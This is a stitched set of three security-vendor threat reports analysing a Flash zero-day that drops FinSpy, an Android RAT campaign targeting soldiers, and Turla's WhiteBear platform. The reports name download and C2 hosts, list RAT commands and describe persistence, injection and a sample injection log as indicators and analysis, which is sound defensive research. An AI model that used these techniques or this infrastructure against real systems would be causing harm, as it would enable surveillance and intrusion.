+the document is an ActiveX object which contains the Flash exploit.
+Flash object in the .docx file, stored in uncompressed format
+The Flash object contains an ActionScript which is responsible for extracting the exploit using a custom packer seen
+in other FinSpy exploits.
+4/10
+Unpacking routine for SWF exploit
+The exploit is a memory corruption vulnerability that exists in the
+com.adobe.tvsdk.mediacore.BufferControlParameters
+ class. If the exploit is successful, it will gain arbitrary
+read / write operations within memory, thus allowing it to execute a second stage shellcode.
+The first stage shellcode contains an interesting NOP sled with alternative instructions, which was most likely
+designed in such a way to avoid detection by antivirus products looking for large NOP blocks inside flash files:
+NOP sled composed of 0x90 and 0x91 opcodes
+The main purpose of the initial shellcode is to download second stage shellcode from
+hxxp://89.45.67[.]107/rss/5uzosoff0u.iaf.
+5/10
+Second stage shellcode
+The second stage shellcode will then perform the following actions:
+1. Download the final payload (FinSpy) from hxxp://89.45.67[.]107/rss/mo.exe
+2. Download a lure document to display to the victim from the same IP
+3. Execute the payload and display the lure document
+Payload 
+ mo.exe
+As mentioned earlier, the 
+mo.exe
+ payload (MD5: 4a49135d2ecc07085a8b7c5925a36c0a) is the newest version of
+Gamma International
+s FinSpy malware, typically sold to nation states and other law enforcement agencies to use in
+lawful surveillance operations. This newer variant has made it especially difficult for researchers to analyze the
+malware due to many added anti-analysis techniques, to include a custom packer and virtual machine to execute
+code.
+6/10
+The PCODE of the virtual machine is packed with the aplib packer.
+Part of packed VM PCODE
+After unpacking, the PCODE it will look like the following:
+Unpacked PCODE
+After unpacking the virtual machine PCODE is then decrypted:
+7/10
+Decrypted VM PCODE
+The custom virtual machine supports a total of 34 instructions:
+Example of parsed PCODE
+In this example, the 
+ instruction is responsible for executing native code that is specified in parameter field.
+Once the payload is successfully executed, it will proceed to copy files to the following locations:
+C:\ProgramData\ManagerApp\AdapterTroubleshooter.exe
+C:\ProgramData\ManagerApp\15b937.cab
+C:\ProgramData\ManagerApp\install.cab
+C:\ProgramData\ManagerApp\msvcr90.dll
+C:\ProgramData\ManagerApp\d3d9.dll
+The 
+AdapterTroubleshooter.exe
+ file is a legitimate binary which is leveraged to use the famous DLL search order
+hijacking technique. The 
+d3d9.dll
+ file is malicious and is loaded into memory by the legit binary upon execution.
+Once loaded, the DLL will then inject FinSpy into the Winlogon process.
+8/10
+Part of injected code in winlogon process
+The payload calls out to three C2 servers for further control and exfiltration of data. We have observed two of them
+used in the past with other FinSpy payloads. Most recently one of these C2 servers was used together with CVE2017-8759 in the attacks reported by FireEye in September 2017. These IPs and other previous samples tie closely
+to the BlackOasis APT cluster of FinSpy activity.
+Targeting and Victims
+BlackOasis
+ interests span a wide gamut of figures involved in Middle Eastern politics and verticals
+disproportionately relevant to the region. This includes prominent figures in the United Nations, opposition bloggers
+and activists, and regional news correspondents. During 2016, we observed a heavy interest in Angola, exemplified
+by lure documents indicating targets with suspected ties to oil, money laundering, and other illicit activities. There is
+also an interest in international activists and think tanks.
+Victims of BlackOasis have been observed in the following countries: Russia, Iraq, Afghanistan, Nigeria, Libya,
+Jordan, Tunisia, Saudi Arabia, Iran, Netherlands, Bahrain, United Kingdom and Angola.
+Conclusions
+We estimate that the attack on HackingTeam in mid-2015 left a gap on the market for surveillance tools, which is
+now being filled by other companies. One of these is Gamma International with their FinFisher suite of tools.
+Although Gamma International itself was hacked by Phineas Fisher in 2014, the breach was not as serious as it
+was in the case of HackingTeam. Additionally, Gamma had two years to recover from the attack and pick up the
+pace.
+We believe the number of attacks relying on FinFisher software, supported by zero day exploits such as the ones
+described here will continue to grow.
+What does it mean for everyone and how to defend against such attacks, including zero-day exploits?
+For CVE-2017-11292 and other similar vulnerabilities, one can use the killbit for Flash within their organizations to
+disable it in any applications that respect it. Unfortunately, doing this system-wide is not easily done, as Flash
+objects can be loaded in applications that potentially do not follow the killbit. Additionally, this may break any other
+necessary resources that rely on Flash and of course, it will not protect against exploits for other third party
+software.
+Deploying a multi-layered approach including access policies, anti-virus, network monitoring and whitelisting can
+help ensure customers are protected against threats such as this. Users of Kaspersky products are protected as
+well against this threat by one of the following detections:</p style=
+margin-bottom:0!important
+PDM:Exploit.Win32.Generic
+9/10
+HEUR:Exploit.SWF.Generic
+HEUR:Exploit.MSOffice.Generic
+More information about BlackOasis APT is available to customers of Kaspersky Intelligence Reporting Service.
+Contact: intelreports@kaspersky.com
+Acknowledgements
+We would like to thank the Adobe Product Security Incident Response Team (PSIRT) for working with us to identify
+and patch this vulnerability.
+References
+1. Adobe Bulletin https://helpx.adobe.com/security/products/flash-player/apsb17-32.html
+Indicators of compromise
+4a49135d2ecc07085a8b7c5925a36c0a
+89.45.67[.]107
+10/10
+Breaking The Weakest Link Of The Strongest Chain
+securelist.com /blog/incidents/77562/breaking-the-weakest-link-of-the-strongest-chain/
+Around July last year, more than a 100 Israeli servicemen were hit by a cunning threat actor. The attack compromised their
+devices and exfiltrated data to the attackers
+ command and control server. In addition, the compromised devices were
+pushed Trojan updates, which allowed the attackers to extend their capabilities. The operation remains active at the time of
+writing this post, with attacks reported as recently as February 2017.
+The campaign, which experts believe is still in its early stages, targets Android OS devices. Once the device is
+compromised, a process of sophisticated intelligence gathering starts, exploiting the ability to access the phone
+s video and
+audio capabilities, SMS functions and location.
+The campaign relies heavily on social engineering techniques, leveraging social networks to lure targeted soldiers into both
+sharing confidential information and downloading the malicious applications.
+Characterized by relatively unsophisticated technical merit, and extensive use of social engineering, the threat actor targets
+only IDF soldiers.
+IDF C4I & the IDF Information Security Department unit, with Kaspersky Lab researchers, have obtained a list of the victims;
+among them IDF servicemen of different ranks, most of them serving around the Gaza strip.
+Attack Flow
+The operation follows the same infection flow across the different victims:
+Figure 1: Campaign
+s attack flow
+Social Engineering
+The threat actor uses social engineering to lure targets into installing a malicious application, while continuously attempting
+to acquire confidential information using social networks. We
+ve seen a lot of the group
+s activity on Facebook Messenger.
+Most of the avatars (virtual participants in the social engineering stage) lure the victims using sexual innuendo, e.g. asking
+the victim to send explicit photos, and in return sending fake photos of teenage girls. The avatars pretend to be from
+different countries such as Canada, Germany, Switzerland and more.
+Dropper
+After the victim downloads the APK file from the malicious URL, the attacker expects the victim to install the package
+manually. The dropper requires common user permissions as shown in the following screenshot.
+Figure 2: Dropper permissions once installed on a victim mobile device
+Key features
+The dropper relies on the configuration server which uses queries in order to download the best fitting payload for the
+specified device.
+Downloader & Watchdog of the main payload
+Payload update mechanism
+Customized payload 
+ the dropper sends a list of installed apps, and receives a payload package based on it
+Obfuscation 
+ The dropper package is obfuscated using ProGuard, which is an open source code obfuscator and
+Java optimizer, observed in the LoveSongs dropper.
+Network Protocols
+The network protocol between the dropper and the configuration server is based on HTTP POST requests. The following
+servers implement a RESTful API:
+LoveSongs 
+ http://endpointup[.]com/update/upfolder/updatefun.php
+YeeCall, WowoMessanger 
+ http://droidback[.]com/pockemon/squirtle/functions.php
+Figure 3: Communication with C&C server over HTTP
+Most of the communication with the server is in clear-text, except for specific commands which are encrypted using an AES128 hard coded-key.
+Figure 4: WowoMessanger REST-API POST packet capture
+Figure 5: Fake WowoMessanger app 
+ logic flow
+Along with an ID existence check, the dropper sends a list of the device
+s installed apps 
+ if it hasn
+t done so already.
+The flow between different variants of the dropper is similar, with minor changes. One variant pretends to be a YouTube
+player, while others are chat apps:
+LoveSongs has YouTube player functionality, whereas WowoMessanger does not have any legitimate functionality
+whatsoever; it erases its icon after the first run.
+Payload
+The payload is installed after one of the droppers mentioned above has been downloaded and executed on the victim
+device. The only payload we have seen so far is 
+WhatsApp_Update
+The payload is capable of two collection mechanisms:
+Execute 
+On demand
+ commands 
+ manual commands that are triggered by the operator
+Scheduled process 
+ scheduled tasks that collect information periodically from various sources.
+Most of the collected data will be sent only when a WI-FI network is available.
+C&C Commands
+The payload uses the WebSocket protocol, which gives the attacker a real-time interface to send commands to the payload
+in a way that resembles 
+reverse shell
+. Some of the commands are not yet implemented (as shown in the table below). The
+commands gives the operator basic yet dangerous RAT capabilities:
+Collect general information about the device e.g. Network operator, GPS location, IMEI etc.
+Open a browser and browse to a chosen URL
+Read & send SMS messages, and access contacts
+Eavesdrop at a specific time and period
+Take pictures (using the camera) or screenshots
+Record video and audio.
+COLL_AUDIO_RECORDS
+COLL_CALL_RECORDS
+GET_LOCATION
+CHECK_AVAILABILITY
+OPEN_WEBPAGE
+GET_IMAGE
+GET_DEVICE_INFO
+COLL_CAPTURED_PHOTOS
+GET_TELEPHONY_INFO
+GET_CELLS_INFO
+TAKE_SCREENSHOT
+CALL_PHONE
+GET_SEC_GALL_CACHE
+GET_SMS
+SEND_SMS
+GET_CONTACTS
+GET_BOOKMARKS
+TAKE_BACK_PIC
+CHANGE_AUDIO_SOURCE RECORD_AUDIO
+GET_SEARCHES
+CLOSE_APP
+GET_HISTORY
+OPEN_APP
+GET_CALENDER_EVENTS RESTART
+GET_USER_DICTIONARY
+SHUTDOWN
+UNINSTALL_APP
+GET_ACCOUNTS
+INSTALL_APK
+GET_INSTALLED_APPS
+GET_WHATSAPP_KEY
+RECORD_FRONT_VIDEO
+GET_WHATSAPP_BACKUP
+GET_FILE
+GET_CALLS
+GET_ROOT_STATUS
+TAKE_FRONT_PIC
+RECORD_BACK_VIDEO
+INVALID_COMMAND
+REMOVE_FILE
+*Commands which were implemented are in bold.
+Scheduled Process
+Besides the C&C commands, the payload periodically collects data using various Android APIs. The default time interval is
+30 seconds. The process collects the following data:
+General data about the device (as mentioned in the C&C command)
+SMS messages, WhatsApp database along with the encryption key (requires root permissions which is not yet fully
+implemented)
+Browsing & search history along with bookmarks
+Documents and archives ( < 2MB ) found in storage (doc, docx, ppt, rar, etc)
+Pictures taken, auto captures while on an active call
+List of contacts and call logs
+Records calls and eavesdrops
+Updates itself
+The attackers implemented all of the malicious logic without any native or third-party sources. The logic behind the
+automatic call-recording feature is implemented entirely using Android
+s API.
+Figure 6: Call-Recording implementation in WhatsApp_update
+Conclusions
+The IDF, which led the research along with Kaspersky Lab researchers, has concluded that this is only the opening shot of
+this operation. Further, that it is by definition a targeted attack against the Israeli Defense Force, aiming to exfiltrate data on
+how ground forces are spread, which tactics and equipment the IDF is using and real-time intelligence gathering.
+Kaspersky Lab GReAT researchers will disclose more behind-the-scenes details of the operation at the upcoming Security
+Analyst Summit.
+IOCs
+Domain names & APK hashes
+androidbak[.]com
+droidback[.]com
+endpointup[.]com
+siteanalysto[.]com
+goodydaddy[.]com
+10f27d243adb082ce0f842c7a4a3784b01f7248e
+b8237782486a26d5397b75eeea7354a777bff63a
+09c3af7b0a6957d5c7c80f67ab3b9cd8bef88813
+9b923303f580c999f0fdc25cad600dd3550fe4e0
+0b58c883efe44ff010f1703db00c9ff4645b59df
+0a5dc47b06de545d8236d70efee801ca573115e7
+782a0e5208c3d9e8942b928857a24183655e7470
+5f71a8a50964dae688404ce8b3fbd83d6e36e5cd
+03b404c8f4ead4aa3970b26eeeb268c594b1bb47
+Certificates 
+ SHA1 fingerprints
+10:EB:7D:03:2A:B9:15:32:8F:BF:68:37:C6:07:45:FB:DF:F1:87:A6
+9E:52:71:F3:D2:1D:C3:22:28:CB:50:C7:33:05:E3:DE:01:EB:CB:03
+44:52:E6:4C:97:4B:6D:6A:7C:40:AD:1E:E0:17:08:33:87:AA:09:09
+67:43:9B:EE:39:81:F3:5E:10:33:C9:7A:D9:4F:3A:73:3B:B0:CF:0A
+89:C8:E2:E3:4A:23:3C:A0:54:A0:4A:53:D6:56:C8:2D:4A:8D:80:56
+B4:D5:0C:8B:73:CB:A9:06:8A:B3:F2:49:35:F8:58:FE:A2:3E:2E:3A
+Introducing WhiteBear
+securelist.com /introducing-whitebear/81638/
+By GReAT
+As a part of our Kaspersky APT Intelligence Reporting subscription, customers received an update in mid-February
+2017 on some interesting APT activity that we called WhiteBear. Much of the contents of that report are reproduced
+here. WhiteBear is a parallel project or second stage of the Skipper Turla cluster of activity documented in another
+private intelligence report 
+Skipper Turla 
+ the White Atlas framework
+ from mid-2016. Like previous Turla activity,
+WhiteBear leverages compromised websites and hijacked satellite connections for command and control (C2)
+infrastructure. As a matter of fact, WhiteBear infrastructure has overlap with other Turla campaigns, like those
+deploying Kopiluwak, as documented in 
+KopiLuwak 
+ A New JavaScript Payload from Turla
+ in December 2016.
+WhiteBear infected systems maintained a dropper (which was typically signed) as well as a complex malicious
+platform which was always preceded by WhiteAtlas module deployment attempts. However, despite the similarities
+to previous Turla campaigns, we believe that WhiteBear is a distinct project with a separate focus. We note that this
+observation of delineated target focus, tooling, and project context is an interesting one that also can be repeated
+across broadly labeled Turla and Sofacy activity.
+From February to September 2016, WhiteBear activity was narrowly focused on embassies and consular operations
+around the world. All of these early WhiteBear targets were related to embassies and diplomatic/foreign affair
+organizations. Continued WhiteBear activity later shifted to include defense-related organizations into June 2017.
+When compared to WhiteAtlas infections, WhiteBear deployments are relatively rare and represent a departure from
+the broader Skipper Turla target set. Additionally, a comparison of the WhiteAtlas framework to WhiteBear
+components indicates that the malware is the product of separate development efforts. WhiteBear infections appear
+to be preceded by a condensed spearphishing dropper, lack Firefox extension installer payloads, and contain
+several new components signed with a new code signing digital certificate, unlike WhiteAtlas incidents and modules.
+1/11
+The exact delivery vector for WhiteBear components is unknown to us, although we have very strong suspicion the
+group spearphished targets with malicious pdf files. The decoy pdf document above was likely stolen from a target
+or partner. And, although WhiteBear components have been consistently identified on a subset of systems
+previously targeted with the WhiteAtlas framework, and maintain components within the same filepaths and can
+maintain identical filenames, we were unable to firmly tie delivery to any specific WhiteAtlas component. WhiteBear
+focused on various embassies and diplomatic entities around the world in early 2016 
+ tellingly, attempts were made
+to drop and display decoy pdf
+s with full diplomatic headers and content alongside executable droppers on target
+systems.
+Technical Details
+The WhiteBear platform implements an elaborate set of messaging and injection components to support full
+presence on victim hosts. A diagram helps to visualize the reach of injected components on the system.
+2/11
+WhiteBear Binary loader
+Sample MD5: b099b82acb860d9a9a571515024b35f0
+Type PE EXE
+Compilation timestamp 2002.02.05 17:36:10 (GMT)
+Linker version 10.0 (MSVC 2010)
+Signature 
+Solid Loop Ldt
+ UTCTime 15/10/2015 00:00:00 GMT 
+ UTCTime 14/10/2016 23:59:59 GMT
+The WhiteBear binary loader maintains several features including two injection methods for its (oddly named)
+KernelInjector
+ subsystem, also named by its developer
+ Standart
+ WindowInject (includes an unusual technique for remotely placing code into memory for subsequent thread
+execution)
+The loader also maintains two methods for privilege and DEP process protection handling:
+ GETSID_METHOD_1
+ GETSID_METHOD_2
+The binary contains two resources:
+ BINARY 201
+ File size: 128 bytes
+ Contains the string, 
+explorer.exe
+ BINARY 202
+ File size: 403456 bytes
+ File Type: PE file (this is the actual payload and is not encrypted)
+ This PE file resource stores the 
+main orchestrator
+ .dll file
+3/11
+Loader runtime flow
+The loader creates the mutex 
+{531511FA-190D-5D85-8A4A-279F2F592CC7}
+, and waits up to two minutes if it is
+already present while logging the message 
+IsLoaderAlreadyWork +
+. The loader creates the mutex 
+{531511FA190D-5D85-8A4A-279F2F592CC7}
+, and waits up to two minutes. If it is already present while logging the message
+IsLoaderAlreadyWork +
+, it extracts the resource BINARY 201. This resource contains a wide string name of
+processes to inject into (i.e. 
+explorer.exe
+The loader makes a pipe named: \\.\pipe\Winsock2\CatalogChangeListener-%03x%01x-%01x
+Where the 
+ parameter is replaced with the values 0xFFFFFFFF 0xEEEEEEEE 0xDDDDDDDD, or if it has
+successfully obtained the user
+s SID:
+\\.\pipe\Winsock2\CatalogChangeListener-%02x%02x-%01x
+With 
+ parameters replaced with numbers calculated from the current date and a munged user SID.
+The pipe is used to communicate with the target process and the transport module; the running code also reads its
+own image body and writes it to the pipe. The loader then obtains the payload body from resource BINARY 202. It
+finds the running process that matches the target name, copies the buffer containing the payload into the process,
+then starts its copy in the target process.
+There are some interesting, juvenile, and non-native English-speaker debug messages compiled into the code:
+ i cunt waiting anymore #%d
+ lights aint turnt off with #%d
+ Not find process
+ CMessageProcessingSystem::Receive_NO_CONNECT_TO_GAYZER
+ CMessageProcessingSystem::Receive_TAKE_LAST_CONNECTION
+ CMessageProcessingSystem::Send_TAKE_FIN
+WhiteBear Main module/orchestrator
+Sample MD5: 06bd89448a10aa5c2f4ca46b4709a879
+Type, size: PE DLL, 394 kb
+Compilation timestamp: 2002.02.05 17:31:28 (GMT)
+Linker version: 10.0 (MSVC 2010)
+Unsigned Code
+The main module has no exports, only a DllMain entry which spawns one thread and returns. The main module
+maintains multiple BINARY resources that include executable, configurations, and encryption data:
+101 
+ RSA private (!) key
+102 
+ RSA public key
+103 
+ empty
+104 
+ 16 encrypted bytes
+105 
+ location (
+%HOMEPATH%\ntuser.dat.LOG3
+106 
+ process names (e.g. 
+iexplore.exe, firefox.exe, chrome.exe, outlook.exe, safari.exe, opera.exe
+) to inject into
+107 
+ Transport module for interaction with C&C
+108 
+ C2 configuration
+109 
+ Registry location (
+\HKCU\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Explorer\Screen Saver
+110 
+ no information
+111 
+ 8 zero bytes
+Values 104 
+ 111 are encrypted with the RSA private key (resource 101) and compressed with bzip2.4. The RSA
+4/11
+key is stored with header stripped in a format similar to Microsoft
+s PVK; the RSA PRIVATE KEY header is
+appended by the loader before reading the keys into the encryption code. Resource 109 points to a registry location
+called 
+external storage
+, built-in resources are called 
+PE Storage
+In addition to storing code, crypto resources, and configuration data in PE resources, WhiteBear copies much of this
+data to the victim host
+s registry. Registry storage is located in the following keys. Subkeys and stored values listed
+below:
+[HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ScreenSaver]
+[HKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Explorer\ScreenSaver]
+Registry subkeys:
+{629336E3-58D6-633B-5182-576588CF702A} Contains the RSA private key used to encrypt/decrypt other
+resources / resource 101
+{3CDC155D-398A-646E-1021-23047D9B4366} Resource 105 
+ current file location
+{81A03BF8-60AA-4A56-253C-449121D61CAF} Resource 106 
+ process names
+{31AC34A1-2DE2-36AC-1F6E-86F43772841F} Contains the internet C&C transport module / resource 107
+{8E9810C5-3014-4678-27EE-3B7A7AC346AF} Resource 108 
+ C&C config
+{28E74BDA-4327-31B0-17B9-56A66A818C1D} Resource 110 
+plugins
+{4A3130BD-2608-730F-31A7-86D16CE66100} Resource 111
+{119D263D-68FC-1942-3CA3-46B23FA652A0} Unique Guid (
+ObjectID
+{1DC12691-2B24-2265-435D-735D3B118A70} 
+Task Queue
+{6CEE6FE1-10A2-4C33-7E7F-855A51733C77} 
+Result Queue
+{56594FEA-5774-746D-4496-6361266C40D0} unknown
+{831511FA-190D-5D85-8A4A-279F2F592CC7} unknown
+Finally, if the main WhiteBear module fails to use registry storage, it uses 
+FS Storage
+ in file
+%TEMP%\KB943729.log. The module reads all of its data and binary components from one of the storages and
+then verifies the integrity of data (RSA+bzip2 compression+signature).
+The module maintains functionality which is divided into a set of subsystems that are loosely named by the
+developers:
+ result queue
+ task queue
+ message processing system
+ autorun manager
+ execution subsystem
+ inject manager
+ PEStorage
+ local transport manager/internal transport channel
+It creates the following temporary files:
+%TEMP%\CVRG72B5.tmp.cvr
+%TEMP%\CVRG1A6B.tmp.cvr
+%TEMP%\CVRG38D9.tmp.cvr
+%TEMP%\~DF1E05.tmp contains the updated body of the loader during an update.
+Every day (as specified by local time) the main module restarts the transport subsystem which includes:
+ message processing
+ named pipe transport (
+NPTransport
+If the registry/file storage is empty, the module performs a 
+migration
+ of hardcoded modules and settings to the
+5/11
+storage location. This data is encrypted with a new RSA key (which is also stored in the registry).
+The data in the registry is prepended with a 0xC byte header. The maximum size of each registry item is 921,600
+bytes; if the maximum size is exceeded, it is split into several items. The format of the header is shown below:
+[4:service DWORD][4:chunk index][4:chunk size including header]
+Every time the orchestrator module is loaded it validates that the storage area contains the appropriate data and
+that all of the components can be decrypted and validated. If these checks fail the module reinstalls a configuration
+from the resource 
+REINSTALL
+Pipe Transport
+The module generates the pipe name (with the same prefix as the loader); waits for incoming connections; receives
+data and pushes it to the 
+message processing system
+. The module generates the pipe name (with the same prefix
+as the loader); waits for incoming connections; receives data and pushes it to the 
+message processing system
+Every packet is expected to be at least 6 bytes and contain the following header:
+[4:ID][2:command]
+List of commands:
+1 : new task
+2 : update the loader + orchestrator file
+4 : send task result
+5 : send settings
+6 : write results to registry/file storage
+7 : enable / disable c2 transport / update status
+8 : uninstall
+9 : nop
+10 : 
+CMessageProcessingSystem::Receive_NO_CONNECT_TO_GAYZER
+; write results to registry
+11: write the last connection data 
+{56594FEA-5774-746D-4496-6361266C40D0}
+ aka 
+last connection
+ storage
+value
+12: 
+give cache
+ write cached commands from the C&C
+13: 
+take cache
+ append C&C commands to the cache
+Depending on the command, the module returns the results from previously run tasks, the configuration of the
+module, or a confirmation message.
+An example of these tasks is shown below:
+ write a file and execute it with CreateProcess() capturing all of the standard output
+ update C&C configuration, plugin storage, etc
+ update autoruns
+ write arbitrary files to the filesystem (
+File Upload
+ read arbitrary files from the filesystem (
+File Download
+ update itself
+ uninstall
+ push task results to C2 servers
+The 
+LocalTransport manager
+ handles named pipe communication and identifies if the packet received is
+designated to the current instance or to someone else (down the route). In the latter scenario the LocalTansport
+manager re-encrypts the packet, serializes it (again), and pushes the packet via a named pipe on the local network
+to another hop, (NullSessionPipes). This effectively makes each infected node a packet router.
+The Autorun manager subsystem is responsible for tracking the way that the malicious module starts in the system
+and it maintains several different methods for starting automatically (shown below):
+6/11
+LinkAutorun The subsystem searches for a LNK file in the target directory, changes the path to 
+cmd.exe
+ and the
+description to 
+ /q /c start 
+ && start 
+TaskScheduler20Autorun The subsystem creates the ITaskService (works only on Windows Vista+) and uses the
+ITaskService interface to create a new task with a logon trigger
+StartupAutorun The subsystem creates a LNK file in %STARTUP%
+ScreenSaverAutorun The subsystem installs as a current screensaver with a hidden window
+HiddenTaskAutorun The subsystem creates the task ITaskScheduler (works only on pre-Vista NT). The task trigger
+start date is set to the creation date of the Windows directory
+ShellAutorun Winlogon registry [HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon]
+Shell=
+explorer.exe, 
+File Uninstallation is done in a discreet manner. The file is filled with zeroes, then renamed to a temporary filename
+before being deleted
+WhiteBear Transport library (aka 
+Internet Relations
+Pipe Relations
+Sample MD5: 19ce5c912768958aa3ee7bc19b2b032c
+Type: PE DLL
+Linker timestamp: 2002.02.05 17:58:22 (GMT)
+Linker version: 10.0
+Signature 
+Solid Loop Ldt
+ UTCTime 15/10/2015 00:00:00 GMT 
+ UTCTime 14/10/2016 23:59:59 GMT
+This transport library does not appear on disk in its PE format. It is maintained as encrypted resource 107 in the
+orchestrator module, then decrypted and loaded by the orchestrator directly into the memory of the target process.
+This C2 interaction module is independent, once started, it interacts with the orchestrator using its local named pipe.
+To communicate with its C2 server, the transport library uses the system user agent or default 
+Mozilla/4.0
+(compatible; MSIE 6.0)
+Before attempting a connection with its configured C2 server, the module checks if the victim system is connected to
+Internet by sending HTTP 1.1 GET / requests to the following servers (this process stops after the first successful
+connection):
+ update.microsoft.com
+ microsoft.com
+ windowsupdate.microsoft.com
+ yahoo.com
+ google.com
+If there is no Internet connection available, the module changes state to, 
+CANNOT_WORK
+ and notifies the peer by
+sending command 
+ over the local pipe.
+The C2 configuration is obtained from the main module with the command 
+. This checks whether the module
+complies with the schedule specified in the C2 settings (which includes inactivity time and the interval between
+connections). The C2 interaction stages have interesting function names and an odd misspelling, indicating that the
+developer may not be a native English speaker (or may have learned the English language in a British setting):
+InternetRelations::GetInetConnectToGazer
+InternetRelations::ReceiveMessageFromCentre
+InternetRelations::SendMessageToCentre
+PipeRelations::CommunicationTpansportPipe
+The module writes the encrypted log to %TEMP%\CVRG38D9.tmp.cvr The module sends a HTTP 1.0 GET request
+through a randomly generated path to the C2 server. The server
+s reply is expected to have its MD5 checksum
+7/11
+appended to the packet. If C2 interaction fails, the module sends the command 
+NO_CONNECT_TO_GAYZER
+) to the orchestrator.
+Unusual WhiteBear Encryption
+The encryption implemented in the WhiteBear orchestrator is particularly interesting. We note that the resource
+section is encrypted/decrypted and packed/decompressed with RSA+3DES+BZIP2. This implementation is unique
+and includes the format of the private key as stored in the resource section. 3DES is present in Sofacy and Duqu2
+components, however they are missing in this Microsoft-centric RSA encryption technique. The private key format
+used in this schema and RSA crypto combination with 3DES is (currently) unique to this threat actor.
+The private key itself is stored as a raw binary blob, in a format similar to the one Microsoft code uses in PVK
+format. This format is not officially documented, but its structures and handling are coded into OpenSSL. This
+private key value is stored in the orchestrator resources without valid headers. The orchestrator code prepends valid
+headers and passes the results to OpenSSL functions that parse the blob.
+Digital Code-Signing Certificate 
+ Fictional Corporation or Assumed Identity?
+Most WhiteBear samples are signed with a valid code signing certificate issued for 
+Solid Loop Ltd
+, a onceregistered British organization. Solid Loop is likely a phony front organization or a defunct organization and actors
+assumed its identity to abuse the name and trust, in order to attain deceptive code-signing digital certificates.
+WhiteBear Command and Control
+The WhiteBear C2 servers are consistent with long standing Turla infrastructure management practices, so the
+backdoors callback to a mix of compromised servers and hijacked destination satellite IP hosts. For example, direct,
+hardcoded Turla satellite IP C2 addresses are shown below:
+8/11
+C2 IP Address
+169.255.137[.]203
+217.171.86[.]137
+66.178.107[.]140
+Geolocation
+South Sudan
+Congo
+Unknown 
+ Likely Africa
+IP Space Owner
+IPTEC, VSAT
+Global Broadband Solution, Kinshasa VSAT
+SES/New Skies Satellites
+Targeting and Victims
+WhiteBear targets over the course of a couple years are related to government foreign affairs, international
+organizations, and later, defense organizations. The geolocation of the incidents are below:
+Europe
+South Asia
+Central Asia
+East Asia
+South America
+Conclusions
+WhiteBear activity reliant on this toolset seems to have diminished in June 2017. But Turla efforts continue to be run
+as multiple subgroups and campaigns. This one started targeting diplomatic entities and later included defense
+related organizations. Infrastructure overlap with other Turla campaigns, code artifacts, and targeting are consistent
+with past Turla efforts. With this subset of 2016-2017 WhiteBear activity, Turla continues to be one of the most
+prolific, longstanding, and advanced APT we have researched, and continues to be the subject of much of our
+research. Links to publicly reported research are below.
+Reference Set
+Full IOC and powerful YARA rules delivered with private report subscription
+b099b82acb860d9a9a571515024b35f0
+19ce5c912768958aa3ee7bc19b2b032c
+06bd89448a10aa5c2f4ca46b4709a879
+169.255.137[.]203
+217.171.86[.]137
+66.178.107[.]140
+Domain(s)
+soligro[.]com 
+ interesting because the domain is used in another Turla operation (KopiLuwak), and is the C2 server
+for the WhiteBear transport library
+mydreamhoroscope[.]com
+Example log upon successful injection
+|01:58:10:216|.[0208|WinMain ]..
+|01:58:14:982|.[0209|WinMain ].******************************************************************************************
+|01:58:15:826|.[0212|WinMain ].DATE: 01.01.2017
+|01:58:21:716|.[0215|WinMain ].PID=2344.TID=1433.Heaps=3
+9/11
+|01:58:22:701|.[0238|WinMain ].CreateMutex = {521555FA-170C-4AA7-8B2D-159C2F491AA4}
+|01:58:25:513|.[0286|GetCurrentUserSID ]._GETSID_METHOD_1_
+|01:58:26:388|.[0425|GetUserSidByName ].22 15 1284404594 111
+|01:58:27:404|.[0463|GetUserSidByName ].S-1-5-31-4261848827-3118844265-2233733001-1000
+|01:58:28:263|.[0471|GetUserSidByName ].
+|01:58:29:060|.[0165|GeneratePipeName ].\\.\pipe\Winsock2\CatalogChangeListener-5623-b
+|01:58:29:763|.[0275|WinMain ].PipeName = \\.\pipe\Winsock2\CatalogChangeListener-5623-b
+|01:58:30:701|.[0277|WinMain ].Checking for existence
+|01:58:31:419|.[0308|WinMain ].
+ Pipe is not installed yet
+|01:58:32:044|.[0286|GetCurrentUserSID ]._GETSID_METHOD_1_
+|01:58:32:841|.[0425|GetUserSidByName ].22 15 1284404594 111
+|01:58:33:701|.[0463|GetUserSidByName ].S-1-5-31-4261848827-3118844265-2233733001-1000
+|01:58:34:419|.[0471|GetUserSidByName ].
+|01:58:35:201|.[0318|WinMain ].Loading
+|01:58:35:763|.[0026|KernelInjector::KernelInjector ].Address of marker: 0x0025F96C and cProcName: 0x0025F860
+|01:58:36:513|.[0031|KernelInjector::KernelInjector ].Value of marker = 0xFFFFFEF4
+|01:58:37:279|.[0088|KernelInjector::SetMethod ].m_bAntiDEPMethod = 1
+|01:58:38:419|.[0564|QueryProcessesInformation ].OK
+|01:58:41:169|.[0286|GetCurrentUserSID ]._GETSID_METHOD_1_
+|01:58:42:076|.[0425|GetUserSidByName ].22 15 1284404594 111
+|01:58:42:748|.[0463|GetUserSidByName ].S-1-5-31-4261848827-3118844265-2233733001-1000
+|01:58:43:169|.[0471|GetUserSidByName ].
+|01:58:43:701|.[0309|FindProcesses ].dwPID[0] = 1260
+|01:58:44:560|.[0345|WinMain ].try to load dll to process (pid=1260))
+|01:58:45:013|.[0088|KernelInjector::SetMethod ].m_bAntiDEPMethod = 1
+|01:58:45:873|.[0094|KernelInjector::LoadDllToProcess ].MethodToUse = 1
+|01:58:46:544|.[0171|KernelInjector::GetProcHandle ].pid = 1260
+|01:58:47:279|.[0314|KernelInjector::CopyDllFromBuffer ].Trying to allocate space at address 0x20020000
+|01:58:48:404|.[0332|KernelInjector::CopyDllFromBuffer ].IMAGEBASE = 0x20020000.ENTRYPOINT =
+0x2002168B
+|01:58:48:763|.[0342|KernelInjector::CopyDllFromBuffer ].ANTIDEP INJECT
+|01:58:49:419|.[0345|KernelInjector::CopyDllFromBuffer ].Writing memory to target process
+|01:58:49:935|.[0353|KernelInjector::CopyDllFromBuffer ].Calling to entry point
+|01:58:51:185|.[0598|KernelInjector::CallEntryPoint ].CODE = 0x01FA0000, ENTRY = 0x2002168B, CURR =
+0x77A465A5, TID = 1132
+|01:58:55:544|.[0786|KernelInjector::CallEntryPoint ]._FINISH_ = 1
+|01:58:56:654|.[0372|KernelInjector::CopyDllFromBuffer ].CTRLPROC = 0
+|01:58:57:607|.[0375|KernelInjector::CopyDllFromBuffer ].+ INJECTED +
